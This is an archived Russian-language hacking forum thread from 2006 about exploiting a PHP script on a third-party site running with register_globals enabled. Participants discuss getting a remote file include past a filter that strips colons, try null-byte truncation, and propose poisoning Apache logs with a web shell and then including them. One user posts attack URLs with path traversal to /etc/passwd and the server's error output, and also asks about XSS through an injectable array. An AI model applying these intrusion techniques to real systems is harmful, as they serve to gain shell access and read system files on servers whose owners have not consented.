PDA

Просмотр полной версии : register_globals


Dmitro
12.12.2006, 18:36
Вопросик,
Сразу извиняюсь за тупось, но уже позабыл всё, давно ни чем не занимался..

register_globals на сервере позволяет передать переменную скрипту (ПХП)
Скрипт инклудит $userdir/index.html
я передаю скрипту userdir=http://site.com/
а скрипт чистит гдето так:
if (!isset ($userdir)) {............}
else $userdir=str_replace (":","", $userdir);

т.е. вместо http://site.com/ инклудит http//site.com/
(без ":")
как обойти?

П.С. переводить в урл двоеточие пробовал, естесссно не получилось..

П.С.[2] = Вторую ошибку нашел, что можно передать скрипту массив $error или элементы массива, но выводятся походу с помощью echo , Здесь только xss ?? или есть варианты?

DIAgen
12.12.2006, 23:04
Первое моно обойти просто подставя '%00'.

c411k
12.12.2006, 23:24
Первое моно обойти просто подставя '%00'.
причем тут ядовый нуль?

_Great_
13.12.2006, 00:11
П.С. переводить в урл двоеточие пробовал, естесссно не получилось..
Это бесполезно, все равно апач раскодирует его перед передачей в пхп.
Хм, что тут можно сделать... а локальный инклуд не катит?
Инклудь логи апача, заюзай ядовитый ноль и запиши в логи апачу шелл

Dmitro
13.12.2006, 10:48
Пробовал локальный инклуд... и %00 не помогает
http://........./page.php?userdir=../../../../../../../../../../etc/passwd%00 - никак
даже там есть в папке скрипта файл, я его пытался заинклудить - никак...
page.php?userdir=log.dat%00
на что апач ответил:
Warning: main(log.dat index.html) [function.main]: failed to open stream: No such file or directory in /home/site.com/www/script/page.php on line 57